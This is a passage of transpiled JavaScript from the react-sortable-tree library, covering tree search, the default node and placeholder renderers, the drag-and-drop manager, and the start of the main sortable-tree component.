      expandFocusMatchPaths = _ref25$expandFocusMat === void 0 ? true : _ref25$expandFocusMat;
  var matchCount = 0;

  var trav = function trav(_ref26) {
    var _ref26$isPseudoRoot = _ref26.isPseudoRoot,
        isPseudoRoot = _ref26$isPseudoRoot === void 0 ? false : _ref26$isPseudoRoot,
        node = _ref26.node,
        currentIndex = _ref26.currentIndex,
        _ref26$path = _ref26.path,
        path = _ref26$path === void 0 ? [] : _ref26$path;
    var matches = [];
    var isSelfMatch = false;
    var hasFocusMatch = false; // The pseudo-root is not considered in the path

    var selfPath = isPseudoRoot ? [] : [].concat(_toConsumableArray(path), [getNodeKey({
      node: node,
      treeIndex: currentIndex
    })]);
    var extraInfo = isPseudoRoot ? null : {
      path: selfPath,
      treeIndex: currentIndex
    }; // Nodes with with children that aren't lazy

    var hasChildren = node.children && typeof node.children !== 'function' && node.children.length > 0; // Examine the current node to see if it is a match

    if (!isPseudoRoot && searchMethod(_objectSpread2(_objectSpread2({}, extraInfo), {}, {
      node: node,
      searchQuery: searchQuery
    }))) {
      if (matchCount === searchFocusOffset) {
        hasFocusMatch = true;
      } // Keep track of the number of matching nodes, so we know when the searchFocusOffset
      //  is reached


      matchCount += 1; // We cannot add this node to the matches right away, as it may be changed
      //  during the search of the descendants. The entire node is used in
      //  comparisons between nodes inside the `matches` and `treeData` results
      //  of this method (`find`)

      isSelfMatch = true;
    }

    var childIndex = currentIndex;

    var newNode = _objectSpread2({}, node);

    if (hasChildren) {
      // Get all descendants
      newNode.children = newNode.children.map(function (child) {
        var mapResult = trav({
          node: child,
          currentIndex: childIndex + 1,
          path: selfPath
        }); // Ignore hidden nodes by only advancing the index counter to the returned treeIndex
        // if the child is expanded.
        //
        // The child could have been expanded from the start,
        // or expanded due to a matching node being found in its descendants

        if (mapResult.node.expanded) {
          childIndex = mapResult.treeIndex;
        } else {
          childIndex += 1;
        }

        if (mapResult.matches.length > 0 || mapResult.hasFocusMatch) {
          matches = [].concat(_toConsumableArray(matches), _toConsumableArray(mapResult.matches));

          if (mapResult.hasFocusMatch) {
            hasFocusMatch = true;
          } // Expand the current node if it has descendants matching the search
          // and the settings are set to do so.


          if (expandAllMatchPaths && mapResult.matches.length > 0 || (expandAllMatchPaths || expandFocusMatchPaths) && mapResult.hasFocusMatch) {
            newNode.expanded = true;
          }
        }

        return mapResult.node;
      });
    } // Cannot assign a treeIndex to hidden nodes


    if (!isPseudoRoot && !newNode.expanded) {
      matches = matches.map(function (match) {
        return _objectSpread2(_objectSpread2({}, match), {}, {
          treeIndex: null
        });
      });
    } // Add this node to the matches if it fits the search criteria.
    // This is performed at the last minute so newNode can be sent in its final form.


    if (isSelfMatch) {
      matches = [_objectSpread2(_objectSpread2({}, extraInfo), {}, {
        node: newNode
      })].concat(_toConsumableArray(matches));
    }

    return {
      node: matches.length > 0 ? newNode : node,
      matches: matches,
      hasFocusMatch: hasFocusMatch,
      treeIndex: childIndex
    };
  };

  var result = trav({
    node: {
      children: treeData
    },
    isPseudoRoot: true,
    currentIndex: -1
  });
  return {
    matches: result.matches,
    treeData: result.node.children
  };
}

// very simple className utility for creating a classname string...
// Falsy arguments are ignored:
//
// const active = true
// const className = classnames(
//    "class1",
//    !active && "class2",
//    active && "class3"
// ); // returns -> class1 class3";
//
function classnames() {
  for (var _len = arguments.length, classes = new Array(_len), _key = 0; _key < _len; _key++) {
    classes[_key] = arguments[_key];
  }

  // Use Boolean constructor as a filter callback
  // Allows for loose type truthy/falsey checks
  // Boolean("") === false;
  // Boolean(false) === false;
  // Boolean(undefined) === false;
  // Boolean(null) === false;
  // Boolean(0) === false;
  // Boolean("classname") === true;
  return classes.filter(Boolean).join(' ');
}

var NodeRendererDefault = /*#__PURE__*/function (_Component) {
  _inherits(NodeRendererDefault, _Component);

  var _super = _createSuper(NodeRendererDefault);

  function NodeRendererDefault() {
    _classCallCheck(this, NodeRendererDefault);

    return _super.apply(this, arguments);
  }

  _createClass(NodeRendererDefault, [{
    key: "render",
    value: function render() {
      var _this$props = this.props,
          scaffoldBlockPxWidth = _this$props.scaffoldBlockPxWidth,
          toggleChildrenVisibility = _this$props.toggleChildrenVisibility,
          connectDragPreview = _this$props.connectDragPreview,
          connectDragSource = _this$props.connectDragSource,
          isDragging = _this$props.isDragging,
          canDrop = _this$props.canDrop,
          canDrag = _this$props.canDrag,
          node = _this$props.node,
          title = _this$props.title,
          subtitle = _this$props.subtitle,
          draggedNode = _this$props.draggedNode,
          path = _this$props.path,
          treeIndex = _this$props.treeIndex,
          isSearchMatch = _this$props.isSearchMatch,
          isSearchFocus = _this$props.isSearchFocus,
          buttons = _this$props.buttons,
          className = _this$props.className,
          style = _this$props.style,
          didDrop = _this$props.didDrop,
          treeId = _this$props.treeId,
          isOver = _this$props.isOver,
          parentNode = _this$props.parentNode,
          rowDirection = _this$props.rowDirection,
          otherProps = _objectWithoutProperties(_this$props, ["scaffoldBlockPxWidth", "toggleChildrenVisibility", "connectDragPreview", "connectDragSource", "isDragging", "canDrop", "canDrag", "node", "title", "subtitle", "draggedNode", "path", "treeIndex", "isSearchMatch", "isSearchFocus", "buttons", "className", "style", "didDrop", "treeId", "isOver", "parentNode", "rowDirection"]);

      var nodeTitle = title || node.title;
      var nodeSubtitle = subtitle || node.subtitle;
      var rowDirectionClass = rowDirection === 'rtl' ? 'rst__rtl' : null;
      var handle;

      if (canDrag) {
        if (typeof node.children === 'function' && node.expanded) {
          // Show a loading symbol on the handle when the children are expanded
          //  and yet still defined by a function (a callback to fetch the children)
          handle = /*#__PURE__*/React__default.createElement("div", {
            className: "rst__loadingHandle"
          }, /*#__PURE__*/React__default.createElement("div", {
            className: "rst__loadingCircle"
          }, _toConsumableArray(new Array(12)).map(function (_, index) {
            return /*#__PURE__*/React__default.createElement("div", {
              // eslint-disable-next-line react/no-array-index-key
              key: index,
              className: classnames('rst__loadingCirclePoint', rowDirectionClass)
            });
          })));
        } else {
          // Show the handle used to initiate a drag-and-drop
          handle = connectDragSource( /*#__PURE__*/React__default.createElement("div", {
            className: "rst__moveHandle"
          }), {
            dropEffect: 'copy'
          });
        }
      }

      var isDraggedDescendant = draggedNode && isDescendant(draggedNode, node);
      var isLandingPadActive = !didDrop && isDragging;
      var buttonStyle = {
        left: -0.5 * scaffoldBlockPxWidth
      };

      if (rowDirection === 'rtl') {
        buttonStyle = {
          right: -0.5 * scaffoldBlockPxWidth
        };
      }

      return /*#__PURE__*/React__default.createElement("div", _extends({
        style: {
          height: '100%'
        }
      }, otherProps), toggleChildrenVisibility && node.children && (node.children.length > 0 || typeof node.children === 'function') && /*#__PURE__*/React__default.createElement("div", null, /*#__PURE__*/React__default.createElement("button", {
        type: "button",
        "aria-label": node.expanded ? 'Collapse' : 'Expand',
        className: classnames(node.expanded ? 'rst__collapseButton' : 'rst__expandButton', rowDirectionClass),
        style: buttonStyle,
        onClick: function onClick() {
          return toggleChildrenVisibility({
            node: node,
            path: path,
            treeIndex: treeIndex
          });
        }
      }), node.expanded && !isDragging && /*#__PURE__*/React__default.createElement("div", {
        style: {
          width: scaffoldBlockPxWidth
        },
        className: classnames('rst__lineChildren', rowDirectionClass)
      })), /*#__PURE__*/React__default.createElement("div", {
        className: classnames('rst__rowWrapper', rowDirectionClass)
      }, connectDragPreview( /*#__PURE__*/React__default.createElement("div", {
        className: classnames('rst__row', isLandingPadActive && 'rst__rowLandingPad', isLandingPadActive && !canDrop && 'rst__rowCancelPad', isSearchMatch && 'rst__rowSearchMatch', isSearchFocus && 'rst__rowSearchFocus', rowDirectionClass, className),
        style: _objectSpread2({
          opacity: isDraggedDescendant ? 0.5 : 1
        }, style)
      }, handle, /*#__PURE__*/React__default.createElement("div", {
        className: classnames('rst__rowContents', !canDrag && 'rst__rowContentsDragDisabled', rowDirectionClass)
      }, /*#__PURE__*/React__default.createElement("div", {
        className: classnames('rst__rowLabel', rowDirectionClass)
      }, /*#__PURE__*/React__default.createElement("span", {
        className: classnames('rst__rowTitle', node.subtitle && 'rst__rowTitleWithSubtitle')
      }, typeof nodeTitle === 'function' ? nodeTitle({
        node: node,
        path: path,
        treeIndex: treeIndex
      }) : nodeTitle), nodeSubtitle && /*#__PURE__*/React__default.createElement("span", {
        className: "rst__rowSubtitle"
      }, typeof nodeSubtitle === 'function' ? nodeSubtitle({
        node: node,
        path: path,
        treeIndex: treeIndex
      }) : nodeSubtitle)), /*#__PURE__*/React__default.createElement("div", {
        className: "rst__rowToolbar"
      }, buttons.map(function (btn, index) {
        return /*#__PURE__*/React__default.createElement("div", {
          key: index // eslint-disable-line react/no-array-index-key
          ,
          className: "rst__toolbarButton"
        }, btn);
      })))))));
    }
  }]);

  return NodeRendererDefault;
}(React.Component);

NodeRendererDefault.defaultProps = {
  isSearchMatch: false,
  isSearchFocus: false,
  canDrag: false,
  toggleChildrenVisibility: null,
  buttons: [],
  className: '',
  style: {},
  parentNode: null,
  draggedNode: null,
  canDrop: false,
  title: null,
  subtitle: null,
  rowDirection: 'ltr'
};
NodeRendererDefault.propTypes = {
  node: PropTypes.shape({}).isRequired,
  title: PropTypes.oneOfType([PropTypes.func, PropTypes.node]),
  subtitle: PropTypes.oneOfType([PropTypes.func, PropTypes.node]),
  path: PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.string, PropTypes.number])).isRequired,
  treeIndex: PropTypes.number.isRequired,
  treeId: PropTypes.string.isRequired,
  isSearchMatch: PropTypes.bool,
  isSearchFocus: PropTypes.bool,
  canDrag: PropTypes.bool,
  scaffoldBlockPxWidth: PropTypes.number.isRequired,
  toggleChildrenVisibility: PropTypes.func,
  buttons: PropTypes.arrayOf(PropTypes.node),
  className: PropTypes.string,
  style: PropTypes.shape({}),
  // Drag and drop API functions
  // Drag source
  connectDragPreview: PropTypes.func.isRequired,
  connectDragSource: PropTypes.func.isRequired,
  parentNode: PropTypes.shape({}),
  // Needed for dndManager
  isDragging: PropTypes.bool.isRequired,
  didDrop: PropTypes.bool.isRequired,
  draggedNode: PropTypes.shape({}),
  // Drop target
  isOver: PropTypes.bool.isRequired,
  canDrop: PropTypes.bool,
  // rtl support
  rowDirection: PropTypes.string
};

var PlaceholderRendererDefault = function PlaceholderRendererDefault(_ref) {
  var isOver = _ref.isOver,
      canDrop = _ref.canDrop;
  return /*#__PURE__*/React__default.createElement("div", {
    className: classnames('rst__placeholder', canDrop && 'rst__placeholderLandingPad', canDrop && !isOver && 'rst__placeholderCancelPad')
  });
};

PlaceholderRendererDefault.defaultProps = {
  isOver: false,
  canDrop: false
};
PlaceholderRendererDefault.propTypes = {
  isOver: PropTypes.bool,
  canDrop: PropTypes.bool
};

var TreeNode = /*#__PURE__*/function (_Component) {
  _inherits(TreeNode, _Component);

  var _super = _createSuper(TreeNode);

  function TreeNode() {
    _classCallCheck(this, TreeNode);

    return _super.apply(this, arguments);
  }

  _createClass(TreeNode, [{
    key: "render",
    value: function render() {
      var _this$props = this.props,
          children = _this$props.children,
          listIndex = _this$props.listIndex,
          swapFrom = _this$props.swapFrom,
          swapLength = _this$props.swapLength,
          swapDepth = _this$props.swapDepth,
          scaffoldBlockPxWidth = _this$props.scaffoldBlockPxWidth,
          lowerSiblingCounts = _this$props.lowerSiblingCounts,
          connectDropTarget = _this$props.connectDropTarget,
          isOver = _this$props.isOver,
          draggedNode = _this$props.draggedNode,
          canDrop = _this$props.canDrop,
          treeIndex = _this$props.treeIndex,
          treeId = _this$props.treeId,
          getPrevRow = _this$props.getPrevRow,
          node = _this$props.node,
          path = _this$props.path,
          rowDirection = _this$props.rowDirection,
          otherProps = _objectWithoutProperties(_this$props, ["children", "listIndex", "swapFrom", "swapLength", "swapDepth", "scaffoldBlockPxWidth", "lowerSiblingCounts", "connectDropTarget", "isOver", "draggedNode", "canDrop", "treeIndex", "treeId", "getPrevRow", "node", "path", "rowDirection"]);

      var rowDirectionClass = rowDirection === 'rtl' ? 'rst__rtl' : null; // Construct the scaffold representing the structure of the tree

      var scaffoldBlockCount = lowerSiblingCounts.length;
      var scaffold = [];
      lowerSiblingCounts.forEach(function (lowerSiblingCount, i) {
        var lineClass = '';

        if (lowerSiblingCount > 0) {
          // At this level in the tree, the nodes had sibling nodes further down
          if (listIndex === 0) {
            // Top-left corner of the tree
            // +-----+
            // |     |
            // |  +--+
            // |  |  |
            // +--+--+
            lineClass = 'rst__lineHalfHorizontalRight rst__lineHalfVerticalBottom';
          } else if (i === scaffoldBlockCount - 1) {
            // Last scaffold block in the row, right before the row content
            // +--+--+
            // |  |  |
            // |  +--+
            // |  |  |
            // +--+--+
            lineClass = 'rst__lineHalfHorizontalRight rst__lineFullVertical';
          } else {
            // Simply connecting the line extending down to the next sibling on this level
            // +--+--+
            // |  |  |
            // |  |  |
            // |  |  |
            // +--+--+
            lineClass = 'rst__lineFullVertical';
          }
        } else if (listIndex === 0) {
          // Top-left corner of the tree, but has no siblings
          // +-----+
          // |     |
          // |  +--+
          // |     |
          // +-----+
          lineClass = 'rst__lineHalfHorizontalRight';
        } else if (i === scaffoldBlockCount - 1) {
          // The last or only node in this level of the tree
          // +--+--+
          // |  |  |
          // |  +--+
          // |     |
          // +-----+
          lineClass = 'rst__lineHalfVerticalTop rst__lineHalfHorizontalRight';
        }

        scaffold.push( /*#__PURE__*/React__default.createElement("div", {
          key: "pre_".concat(1 + i),
          style: {
            width: scaffoldBlockPxWidth
          },
          className: classnames('rst__lineBlock', lineClass, rowDirectionClass)
        }));

        if (treeIndex !== listIndex && i === swapDepth) {
          // This row has been shifted, and is at the depth of
          // the line pointing to the new destination
          var highlightLineClass = '';

          if (listIndex === swapFrom + swapLength - 1) {
            // This block is on the bottom (target) line
            // This block points at the target block (where the row will go when released)
            highlightLineClass = 'rst__highlightBottomLeftCorner';
          } else if (treeIndex === swapFrom) {
            // This block is on the top (source) line
            highlightLineClass = 'rst__highlightTopLeftCorner';
          } else {
            // This block is between the bottom and top
            highlightLineClass = 'rst__highlightLineVertical';
          }

          var _style;

          if (rowDirection === 'rtl') {
            _style = {
              width: scaffoldBlockPxWidth,
              right: scaffoldBlockPxWidth * i
            };
          } else {
            // Default ltr
            _style = {
              width: scaffoldBlockPxWidth,
              left: scaffoldBlockPxWidth * i
            };
          }

          scaffold.push( /*#__PURE__*/React__default.createElement("div", {
            // eslint-disable-next-line react/no-array-index-key
            key: i,
            style: _style,
            className: classnames('rst__absoluteLineBlock', highlightLineClass, rowDirectionClass)
          }));
        }
      });
      var style;

      if (rowDirection === 'rtl') {
        style = {
          right: scaffoldBlockPxWidth * scaffoldBlockCount
        };
      } else {
        // Default ltr
        style = {
          left: scaffoldBlockPxWidth * scaffoldBlockCount
        };
      }

      return connectDropTarget( /*#__PURE__*/React__default.createElement("div", _extends({}, otherProps, {
        className: classnames('rst__node', rowDirectionClass)
      }), scaffold, /*#__PURE__*/React__default.createElement("div", {
        className: "rst__nodeContent",
        style: style
      }, React.Children.map(children, function (child) {
        return /*#__PURE__*/React.cloneElement(child, {
          isOver: isOver,
          canDrop: canDrop,
          draggedNode: draggedNode
        });
      }))));
    }
  }]);

  return TreeNode;
}(React.Component);

TreeNode.defaultProps = {
  swapFrom: null,
  swapDepth: null,
  swapLength: null,
  canDrop: false,
  draggedNode: null,
  rowDirection: 'ltr'
};
TreeNode.propTypes = {
  treeIndex: PropTypes.number.isRequired,
  treeId: PropTypes.string.isRequired,
  swapFrom: PropTypes.number,
  swapDepth: PropTypes.number,
  swapLength: PropTypes.number,
  scaffoldBlockPxWidth: PropTypes.number.isRequired,
  lowerSiblingCounts: PropTypes.arrayOf(PropTypes.number).isRequired,
  listIndex: PropTypes.number.isRequired,
  children: PropTypes.node.isRequired,
  // Drop target
  connectDropTarget: PropTypes.func.isRequired,
  isOver: PropTypes.bool.isRequired,
  canDrop: PropTypes.bool,
  draggedNode: PropTypes.shape({}),
  // used in dndManager
  getPrevRow: PropTypes.func.isRequired,
  node: PropTypes.shape({}).isRequired,
  path: PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.string, PropTypes.number])).isRequired,
  // rtl support
  rowDirection: PropTypes.string
};

var TreePlaceholder = /*#__PURE__*/function (_Component) {
  _inherits(TreePlaceholder, _Component);

  var _super = _createSuper(TreePlaceholder);

  function TreePlaceholder() {
    _classCallCheck(this, TreePlaceholder);

    return _super.apply(this, arguments);
  }

  _createClass(TreePlaceholder, [{
    key: "render",
    value: function render() {
      var _this$props = this.props,
          children = _this$props.children,
          connectDropTarget = _this$props.connectDropTarget,
          treeId = _this$props.treeId,
          drop = _this$props.drop,
          otherProps = _objectWithoutProperties(_this$props, ["children", "connectDropTarget", "treeId", "drop"]);

      return connectDropTarget( /*#__PURE__*/React__default.createElement("div", null, React.Children.map(children, function (child) {
        return /*#__PURE__*/React.cloneElement(child, _objectSpread2({}, otherProps));
      })));
    }
  }]);

  return TreePlaceholder;
}(React.Component);

TreePlaceholder.defaultProps = {
  canDrop: false,
  draggedNode: null
};
TreePlaceholder.propTypes = {
  children: PropTypes.node.isRequired,
  // Drop target
  connectDropTarget: PropTypes.func.isRequired,
  isOver: PropTypes.bool.isRequired,
  canDrop: PropTypes.bool,
  draggedNode: PropTypes.shape({}),
  treeId: PropTypes.string.isRequired,
  drop: PropTypes.func.isRequired
};

function defaultGetNodeKey(_ref) {
  var treeIndex = _ref.treeIndex;
  return treeIndex;
} // Cheap hack to get the text of a react object

function getReactElementText(parent) {
  if (typeof parent === 'string') {
    return parent;
  }

  if (parent === null || _typeof(parent) !== 'object' || !parent.props || !parent.props.children || typeof parent.props.children !== 'string' && _typeof(parent.props.children) !== 'object') {
    return '';
  }

  if (typeof parent.props.children === 'string') {
    return parent.props.children;
  }

  return parent.props.children.map(function (child) {
    return getReactElementText(child);
  }).join('');
} // Search for a query string inside a node property


function stringSearch(key, searchQuery, node, path, treeIndex) {
  if (typeof node[key] === 'function') {
    // Search within text after calling its function to generate the text
    return String(node[key]({
      node: node,
      path: path,
      treeIndex: treeIndex
    })).indexOf(searchQuery) > -1;
  }

  if (_typeof(node[key]) === 'object') {
    // Search within text inside react elements
    return getReactElementText(node[key]).indexOf(searchQuery) > -1;
  } // Search within string


  return node[key] && String(node[key]).indexOf(searchQuery) > -1;
}

function defaultSearchMethod(_ref2) {
  var node = _ref2.node,
      path = _ref2.path,
      treeIndex = _ref2.treeIndex,
      searchQuery = _ref2.searchQuery;
  return stringSearch('title', searchQuery, node, path, treeIndex) || stringSearch('subtitle', searchQuery, node, path, treeIndex);
}

var memoize = function memoize(f) {
  var savedArgsArray = [];
  var savedKeysArray = [];
  var savedResult = null;
  return function (args) {
    var keysArray = Object.keys(args).sort();
    var argsArray = keysArray.map(function (key) {
      return args[key];
    }); // If the arguments for the last insert operation are different than this time,
    // recalculate the result

    if (argsArray.length !== savedArgsArray.length || argsArray.some(function (arg, index) {
      return arg !== savedArgsArray[index];
    }) || keysArray.some(function (key, index) {
      return key !== savedKeysArray[index];
    })) {
      savedArgsArray = argsArray;
      savedKeysArray = keysArray;
      savedResult = f(args);
    }

    return savedResult;
  };
};

var memoizedInsertNode = memoize(insertNode);
var memoizedGetFlatDataFromTree = memoize(getFlatDataFromTree);
var memoizedGetDescendantCount = memoize(getDescendantCount);

var DndManager = /*#__PURE__*/function () {
  function DndManager(treeRef) {
    _classCallCheck(this, DndManager);

    this.treeRef = treeRef;
  }

  _createClass(DndManager, [{
    key: "startDrag",
    get: function get() {
      return this.treeRef.startDrag;
    }
  }, {
    key: "dragHover",
    get: function get() {
      return this.treeRef.dragHover;
    }
  }, {
    key: "endDrag",
    get: function get() {
      return this.treeRef.endDrag;
    }
  }, {
    key: "drop",
    get: function get() {
      return this.treeRef.drop;
    }
  }, {
    key: "treeId",
    get: function get() {
      return this.treeRef.treeId;
    }
  }, {
    key: "dndType",
    get: function get() {
      return this.treeRef.dndType;
    }
  }, {
    key: "treeData",
    get: function get() {
      return this.treeRef.state.draggingTreeData || this.treeRef.props.treeData;
    }
  }, {
    key: "getNodeKey",
    get: function get() {
      return this.treeRef.props.getNodeKey;
    }
  }, {
    key: "customCanDrop",
    get: function get() {
      return this.treeRef.props.canDrop;
    }
  }, {
    key: "maxDepth",
    get: function get() {
      return this.treeRef.props.maxDepth;
    }
  }, {
    key: "getTargetDepth",
    value: function getTargetDepth(dropTargetProps, monitor, component) {
      var dropTargetDepth = 0;
      var rowAbove = dropTargetProps.getPrevRow();

      if (rowAbove) {
        var path = rowAbove.path;
        var aboveNodeCannotHaveChildren = !this.treeRef.canNodeHaveChildren(rowAbove.node);

        if (aboveNodeCannotHaveChildren) {
          path = path.slice(0, path.length - 1);
        } // Limit the length of the path to the deepest possible


        dropTargetDepth = Math.min(path.length, dropTargetProps.path.length);
      }

      var blocksOffset;
      var dragSourceInitialDepth = (monitor.getItem().path || []).length; // When adding node from external source

      if (monitor.getItem().treeId !== this.treeId) {
        // Ignore the tree depth of the source, if it had any to begin with
        dragSourceInitialDepth = 0;

        if (component) {
          var relativePosition = reactDom.findDOMNode(component).getBoundingClientRect(); // eslint-disable-line react/no-find-dom-node

          var leftShift = monitor.getSourceClientOffset().x - relativePosition.left;
          blocksOffset = Math.round(leftShift / dropTargetProps.scaffoldBlockPxWidth);
        } else {
          blocksOffset = dropTargetProps.path.length;
        }
      } else {
        // handle row direction support
        var direction = dropTargetProps.rowDirection === 'rtl' ? -1 : 1;
        blocksOffset = Math.round(direction * monitor.getDifferenceFromInitialOffset().x / dropTargetProps.scaffoldBlockPxWidth);
      }

      var targetDepth = Math.min(dropTargetDepth, Math.max(0, dragSourceInitialDepth + blocksOffset - 1)); // If a maxDepth is defined, constrain the target depth

      if (typeof this.maxDepth !== 'undefined' && this.maxDepth !== null) {
        var draggedNode = monitor.getItem().node;
        var draggedChildDepth = getDepth(draggedNode);
        targetDepth = Math.max(0, Math.min(targetDepth, this.maxDepth - draggedChildDepth - 1));
      }

      return targetDepth;
    }
  }, {
    key: "canDrop",
    value: function canDrop(dropTargetProps, monitor) {
      if (!monitor.isOver()) {
        return false;
      }

      var rowAbove = dropTargetProps.getPrevRow();
      var abovePath = rowAbove ? rowAbove.path : [];
      var aboveNode = rowAbove ? rowAbove.node : {};
      var targetDepth = this.getTargetDepth(dropTargetProps, monitor, null); // Cannot drop if we're adding to the children of the row above and
      //  the row above is a function

      if (targetDepth >= abovePath.length && typeof aboveNode.children === 'function') {
        return false;
      }

      if (typeof this.customCanDrop === 'function') {
        var _monitor$getItem = monitor.getItem(),
            node = _monitor$getItem.node;

        var addedResult = memoizedInsertNode({
          treeData: this.treeData,
          newNode: node,
          depth: targetDepth,
          getNodeKey: this.getNodeKey,
          minimumTreeIndex: dropTargetProps.listIndex,
          expandParent: true
        });
        return this.customCanDrop({
          node: node,
          prevPath: monitor.getItem().path,
          prevParent: monitor.getItem().parentNode,
          prevTreeIndex: monitor.getItem().treeIndex,
          // Equals -1 when dragged from external tree
          nextPath: addedResult.path,
          nextParent: addedResult.parentNode,
          nextTreeIndex: addedResult.treeIndex
        });
      }

      return true;
    }
  }, {
    key: "wrapSource",
    value: function wrapSource(el) {
      var _this = this;

      var nodeDragSource = {
        beginDrag: function beginDrag(props) {
          _this.startDrag(props);

          return {
            node: props.node,
            parentNode: props.parentNode,
            path: props.path,
            treeIndex: props.treeIndex,
            treeId: props.treeId
          };
        },
        endDrag: function endDrag(props, monitor) {
          _this.endDrag(monitor.getDropResult());
        },
        isDragging: function isDragging(props, monitor) {
          var dropTargetNode = monitor.getItem().node;
          var draggedNode = props.node;
          return draggedNode === dropTargetNode;
        }
      };

      function nodeDragSourcePropInjection(connect, monitor) {
        return {
          connectDragSource: connect.dragSource(),
          connectDragPreview: connect.dragPreview(),
          isDragging: monitor.isDragging(),
          didDrop: monitor.didDrop()
        };
      }

      return reactDnd.DragSource(this.dndType, nodeDragSource, nodeDragSourcePropInjection)(el);
    }
  }, {
    key: "wrapTarget",
    value: function wrapTarget(el) {
      var _this2 = this;

      var nodeDropTarget = {
        drop: function drop(dropTargetProps, monitor, component) {
          var result = {
            node: monitor.getItem().node,
            path: monitor.getItem().path,
            treeIndex: monitor.getItem().treeIndex,
            treeId: _this2.treeId,
            minimumTreeIndex: dropTargetProps.treeIndex,
            depth: _this2.getTargetDepth(dropTargetProps, monitor, component)
          };

          _this2.drop(result);

          return result;
        },
        hover: function hover(dropTargetProps, monitor, component) {
          var targetDepth = _this2.getTargetDepth(dropTargetProps, monitor, component);

          var draggedNode = monitor.getItem().node;
          var needsRedraw = // Redraw if hovered above different nodes
          dropTargetProps.node !== draggedNode || // Or hovered above the same node but at a different depth
          targetDepth !== dropTargetProps.path.length - 1;

          if (!needsRedraw) {
            return;
          } // throttle `dragHover` work to available animation frames


          cancelAnimationFrame(_this2.rafId);
          _this2.rafId = requestAnimationFrame(function () {
            _this2.dragHover({
              node: draggedNode,
              path: monitor.getItem().path,
              minimumTreeIndex: dropTargetProps.listIndex,
              depth: targetDepth
            });
          });
        },
        canDrop: this.canDrop.bind(this)
      };

      function nodeDropTargetPropInjection(connect, monitor) {
        var dragged = monitor.getItem();
        return {
          connectDropTarget: connect.dropTarget(),
          isOver: monitor.isOver(),
          canDrop: monitor.canDrop(),
          draggedNode: dragged ? dragged.node : null
        };
      }

      return reactDnd.DropTarget(this.dndType, nodeDropTarget, nodeDropTargetPropInjection)(el);
    }
  }, {
    key: "wrapPlaceholder",
    value: function wrapPlaceholder(el) {
      var _this3 = this;

      var placeholderDropTarget = {
        drop: function drop(dropTargetProps, monitor) {
          var _monitor$getItem2 = monitor.getItem(),
              node = _monitor$getItem2.node,
              path = _monitor$getItem2.path,
              treeIndex = _monitor$getItem2.treeIndex;

          var result = {
            node: node,
            path: path,
            treeIndex: treeIndex,
            treeId: _this3.treeId,
            minimumTreeIndex: 0,
            depth: 0
          };

          _this3.drop(result);

          return result;
        }
      };

      function placeholderPropInjection(connect, monitor) {
        var dragged = monitor.getItem();
        return {
          connectDropTarget: connect.dropTarget(),
          isOver: monitor.isOver(),
          canDrop: monitor.canDrop(),
          draggedNode: dragged ? dragged.node : null
        };
      }

      return reactDnd.DropTarget(this.dndType, placeholderDropTarget, placeholderPropInjection)(el);
    }
  }]);

  return DndManager;
}();

/* eslint-disable import/prefer-default-export */
function slideRows(rows, fromIndex, toIndex) {
  var count = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : 1;
  var rowsWithoutMoved = [].concat(_toConsumableArray(rows.slice(0, fromIndex)), _toConsumableArray(rows.slice(fromIndex + count)));
  return [].concat(_toConsumableArray(rowsWithoutMoved.slice(0, toIndex)), _toConsumableArray(rows.slice(fromIndex, fromIndex + count)), _toConsumableArray(rowsWithoutMoved.slice(toIndex)));
}

var treeIdCounter = 1;

var mergeTheme = function mergeTheme(props) {
  var merged = _objectSpread2(_objectSpread2({}, props), {}, {
    style: _objectSpread2(_objectSpread2({}, props.theme.style), props.style),
    innerStyle: _objectSpread2(_objectSpread2({}, props.theme.innerStyle), props.innerStyle),
    reactVirtualizedListProps: _objectSpread2(_objectSpread2({}, props.theme.reactVirtualizedListProps), props.reactVirtualizedListProps)
  });

  var overridableDefaults = {
    nodeContentRenderer: NodeRendererDefault,
    placeholderRenderer: PlaceholderRendererDefault,
    rowHeight: 62,
    scaffoldBlockPxWidth: 44,
    slideRegionSize: 100,
    treeNodeRenderer: TreeNode
  };
  Object.keys(overridableDefaults).forEach(function (propKey) {
    // If prop has been specified, do not change it
    // If prop is specified in theme, use the theme setting
    // If all else fails, fall back to the default
    if (props[propKey] === null) {
      merged[propKey] = typeof props.theme[propKey] !== 'undefined' ? props.theme[propKey] : overridableDefaults[propKey];
    }
  });
  return merged;
};

var ReactSortableTree = /*#__PURE__*/function (_Component) {
  _inherits(ReactSortableTree, _Component);

  var _super = _createSuper(ReactSortableTree);

  function ReactSortableTree(props) {
    var _this;

    _classCallCheck(this, ReactSortableTree);

    _this = _super.call(this, props);

    var _mergeTheme = mergeTheme(props),
        dndType = _mergeTheme.dndType,
        nodeContentRenderer = _mergeTheme.nodeContentRenderer,
        treeNodeRenderer = _mergeTheme.treeNodeRenderer,
        isVirtualized = _mergeTheme.isVirtualized,
        slideRegionSize = _mergeTheme.slideRegionSize;

    _this.dndManager = new DndManager(_assertThisInitialized(_this)); // Wrapping classes for use with react-dnd

    _this.treeId = "rst__".concat(treeIdCounter);
    treeIdCounter += 1;
    _this.dndType = dndType || _this.treeId;
    _this.nodeContentRenderer = _this.dndManager.wrapSource(nodeContentRenderer);
    _this.treePlaceholderRenderer = _this.dndManager.wrapPlaceholder(TreePlaceholder);
    _this.treeNodeRenderer = _this.dndManager.wrapTarget(treeNodeRenderer); // Prepare scroll-on-drag options for this list

    if (isVirtualized) {
      _this.scrollZoneVirtualList = (lib_3 || withScrolling)(reactVirtualized.List);
      _this.vStrength = lib_2(slideRegionSize);
      _this.hStrength = lib_1(slideRegionSize);
    }

    _this.state = {
      draggingTreeData: null,
      draggedNode: null,
      draggedMinimumTreeIndex: null,
      draggedDepth: null,
      searchMatches: [],
      searchFocusTreeIndex: null,
      dragging: false,
      // props that need to be used in gDSFP or static functions will be stored here
      instanceProps: {
        treeData: [],
        ignoreOneTreeUpdate: false,
        searchQuery: null,
        searchFocusOffset: null
      }
    };
    _this.toggleChildrenVisibility = _this.toggleChildrenVisibility.bind(_assertThisInitialized(_this));
    _this.moveNode = _this.moveNode.bind(_assertThisInitialized(_this));
    _this.startDrag = _this.startDrag.bind(_assertThisInitialized(_this));
    _this.dragHover = _this.dragHover.bind(_assertThisInitialized(_this));
    _this.endDrag = _this.endDrag.bind(_assertThisInitialized(_this));
    _this.drop = _this.drop.bind(_assertThisInitialized(_this));
    _this.handleDndMonitorChange = _this.handleDndMonitorChange.bind(_assertThisInitialized(_this));
    return _this;
  }

